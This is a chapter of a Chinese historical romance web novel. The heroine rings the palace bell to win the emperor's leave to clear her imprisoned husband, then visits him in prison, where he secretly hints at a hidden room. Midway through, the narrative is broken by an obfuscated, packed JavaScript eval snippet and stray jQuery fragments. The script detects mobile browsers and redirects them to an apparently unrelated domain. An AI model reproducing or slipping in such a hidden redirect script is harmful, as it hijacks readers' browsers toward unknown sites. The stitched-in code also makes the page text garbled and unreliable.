天色微浅，城中万物还沉浸在青灰色的朦胧中，像被一层薄纱覆盖。地上微微泛起白霜，不远处还有猫爪印。


    沈听遥从一片萧条中醒来，不停地捶着酸麻的腿。她强托着疲惫的身体上前，言语间显然没了力气。


    “我要…进宫。”


    卯时一刻，陈旧的门轴发出“吱呀”的转动声，丹漆色宫门被侍卫合力推开，发出沉闷的轰鸣。


    沈听遥随着一众大臣入宫，小心翼翼地跟在最后面，生怕踏错了阶石引来不必要的瞩目。


    君王早朝在清正殿，与后宫相隔甚远。由于南邑自建朝以来没有女官，所以清正殿不许女子驻足。


    沈听遥本想着趁其不备混进去，然而冰冷的利刃挡在她身前，让她顿时僵在原地。


    “清正殿早朝，女子不得出入。”


    什么破规矩，同为有双手双脚的普通人，凭何男人进得，女人就进不得？沈听遥暗暗发誓有朝一日，自己定要做第一个光明正大进殿的人。


    大理寺刑罚甚重，若是进不了殿，等到陛下下朝，段崇不得被折磨得魂儿都没了？


    沈听遥四下观望着，转头瞧见那西北方向有一古钟，她凝眸一观当即来了主意。


    她踏上烟灰色石阶登高而去，正巧碰上换班的宫人。


    “你是换班的？”


    沈听遥垂首作揖


    “奴婢是长乐宫的宫女，奉命前来。”


    那宫人瞧她面熟却又一时想不起来，眼瞅着要过了时辰，所幸将钟锤交于她。


    临走时，还不忘嘟囔一句


    “长乐宫的宫女也能来敲钟吗？”


    沈听遥见其消失在视野中，连忙拿起钟锤猛得朝古钟砸去。古钟一震，沉闷的声响先是在钟腔间打转，而后轰然传出。余音蔓延至整个皇宫内，此起彼伏。


    沈听遥正砸得起劲儿，陛下身边的徐公公前来劝阻。


    “哪家儿的宫女，懂不懂规矩？时辰未到，何故鸣钟？”


    “徐公公，我想求见陛下。”


    那徐公公定睛一瞧宫女的样貌，当即赔上笑脸。


    “哎呦，段小夫人，您这是做甚啊？陛下昨日正因为三皇子的事情大发雷霆，您此时贸然求见，不是给陛下添堵吗？”


    沈听遥迫切地拉着徐公公


    “听遥就是为了将军的事来的。反正钟我已经撞了，还请徐公公带路。”


    见沈听遥劝不住，徐公公只好亲自带路。道上一直叮嘱她切莫与陛下硬碰硬，要在群臣面前心平气和地谈论。


    沈听遥哪能听进去这些，只顾着尽快进殿。


    殿内，大臣们整齐地站在两侧，谁也不敢妄动分毫。空气中透露着难以言说的静，静得连呼吸声都听不见半分。


    沈听遥规规矩矩地行着宫礼，生怕出错半分，惹得陛下不悦。


    “臣妾拜见陛下。”


    陛下手中正盘着佛珠，蔑视地暼着正跪在殿中央的沈听遥。


    “刚刚殿外鸣钟之人是你？你是怎么混进来的？”


    沈听遥临危不惧


    “臣妾自然有臣妾的办法，臣妾鸣钟实属无奈之举。臣妾心有不公，还请陛下做主。”


    陛下自然明白沈听遥的意图


    “你若是为了景珩，便不必费尽心思。他自己都认下的罪责，你还替他辩解做甚？”


    沈听遥义正言辞，丝毫未有半分怯懦。


    “因为臣妾相信段将军不是贪图富贵之辈，这是作为一个妻子对夫君的信任。虽然臣妾并非正妻，却处处享着正妻的待遇。如今夫君被人陷害，臣妾自然要揪出这幕后的奸佞之臣。”


    沈听遥冷眸厉色地盯着沈伯堂，胸中燃起的怒意在此刻激发。


    “段小夫人这眼神瞅着微臣，莫不是怀疑微臣？”


    沈听遥一字一句地顿着


    “清白之人，何惧他人眼色？”


    陛下见其态度坚决，便上前询问


    “你一介女子，如何替朝廷重臣证明清白？”


    沈听遥眼里迸射出火花，喉咙间发出低吼的声音。


    “臣妾是名女子。可兴建水网，开辟水路，替陛下在北宁面前立三分国威之事都不是女子该做的，臣妾也做了。谁规定女子就该久处庭院，不可征战沙场？又是谁规定女子只能相夫教子，不能稳居朝堂？臣妾一生，只求清白公正四字。虽千万人，吾往矣。”


    陛下闻此豪言壮语当即大拍桌案，吓得群臣抖三抖


    “好！朕见你有几分口舌，朕给你这个机会。七日，只此七日。七日之内，你若能查明此案，朕就破例封你为正六品女史。你便是南邑建朝以来的第一位女官。你若是不能查明，此后不得干涉朝政要事，自己按律去廷狱领罚！”


    此话一出，掀起朝堂一场声势浩大的风波。


    以沈伯堂为首的重臣极力反对


    “陛下破例令女子做官，只怕传出去会让百姓非议，还请陛下三思。”


    “我朝就没有做女官的先例，一介女子若是为官，那后宫岂不可以干政？”


    群臣面面相觑，各执一词，你一言我一语顿时炸开锅。


    沈听遥闻声当即回怼沈伯堂


    “沈大人此言是不想让百姓非议，还是不想臣妾做官？沈大人出自书香门第，思想竟如此迂腐，当真可笑。”


    “这朝中就没有女子为官，妇人之仁，能成什么气候？”


    “女子为官，莫不如说我南邑没有好男儿了。此事不妥啊陛下。”


    见沈伯堂气得脸色发青，鼻孔恨不得朝天上去。沈听遥见到他怒不可遏的嘴脸，就忍不住嗤笑。


    “朝中没有女子为官，七日之后便有了。臣妾妇人之仁，不也耍得沈大人团团转吗？”


    沈听遥转过身，当即叩拜在地


    “臣妾愿意答应陛下，只是…臣妾还有一不情之请。”


    “说来听听。”


    沈听遥厉目凝视着陛下


    “在臣妾调查这七日里，还请陛下传令大理寺不得用刑。”


    陛下不顾众臣反对，当即一拍即合。


    “好，朕答应你。”


    沈听遥与陛下对赌这件事，很快传遍京城。此事阵仗越大，沈伯堂越下不了黑手。现下最重要的还是要弄清楚到底发生了什么。


    她只身前去大理寺，要去找段崇问个明白。


    大理寺的大门在她身后渐渐合拢，将街市的喧嚣隔绝在外。鹅卵石铺就的甬道上，沈听遥迈着沉稳的步伐向刑狱深处探去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059281|178372||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沈听遥见段崇蓬头垢面，脸上满是屈辱之色。他微微侧过身，似乎不想让人见到他硬朗面庞上的那几道血痕。


    “段崇。”


    那柔和的声音又从他耳畔响起，他眼神略微停滞，随即露出一抹讶色。


    沈听遥见到他，欣喜不以，眼泛热泪地晃动着狱门。


    “昨夜他们没有为难你吧？”


    隔着狱门，两双温暖的手十指相握。身体虽然相隔，心却是连在一起的。


    “你怎的来着污浊之地？万一旁人起疑怎么办？”


    “我如今接手调查你的案子，旁人不会说些什么。到底是怎么回事？怎么突然就…”


    段崇双眼微眯，眼眸中划过一抹讥诮，抬手示意沈听遥靠近。


    “你说有些事需要亲自做，那我就助你在京中多留些时日。调查我…就是你的机会。”


    沈听遥阴沉着脸，眼神犀利，伸手去捶打段崇的肩膀。


    “你疯了，这种事怎么能开玩笑！你如今身在狱中，你有没有想过通阳的百姓怎么办？北宁攻进来怎么办？”


    段崇垂眸，像个做错事的孩子，等沈听遥数落一通后才缓缓开口。


    “通阳如今有左将军看管，自然不会有事。况且两邦宴会刚过，这些时日北宁不会有动作的。”


    “那沈伯堂呢？”


    沈听遥怒目而视


    “沈伯堂若是在此事上大做文章，你我还有翻身的可能吗？”


    此事段崇确实考虑不周，拿通阳城与沈听遥的复仇来赌，若是赌赢了，皆大欢喜。若是赌输了，此次谁都得交代在这。


    沈听遥此刻不知道该说些什么好，她甚至自责当时为何要与段崇说那样一番话。自己的意思明明是不想让他受太多牵连，可如今偏偏与他牵连最深。


    段崇见沈听遥不语，当即解释道“我相信你，如若此事办成，陛下或许会赏你个一官半职。到时候，你就可以亲自做你想做的事。”


    比起愤怒，沈听遥的眼底更是心疼。段崇考虑了所有人，唯独没有考虑自己。


    “那你接下来打算怎么办？我若救不出你呢？”


    段崇缓缓摇头，将声音放得极低。


    “不会的，你一定可以。”


    沈听遥眉头捏紧，凝视其良久。试图从他沉静的神色里捕捉更多线索。只见段崇拉过她的手。


    掌心相贴的瞬间，她感受着段崇指腹薄茧的余温在其微热的掌心上比划着，沈听遥感到前所未有的痒。


    只见他在其手中写下“密室”二字，而后牢牢握紧她的手。


    段崇笃定地眼神不带一丝犹豫，沈听遥立刻领悟了他的用意。她深吸一口气，回握住段崇的手，指尖微微用力，算是无声的应答。


    现下沈听遥只好先回将军府，看看段崇所指得密室究竟藏着什么实质性的证据。


    段崇自陷入狱，又笃定她一定能证明自己的清白。段崇又将佐证藏的如此之深，会不会这件事背后还藏着更大的阴谋？


    若是单单想让自己留在京城，大可以装病推辞，何故如此煞费苦心地把自己送进去？


    段崇虽冲动易怒，却思虑周全，如此行事确实不像其作风。除非，他要引导沈听遥做些什么。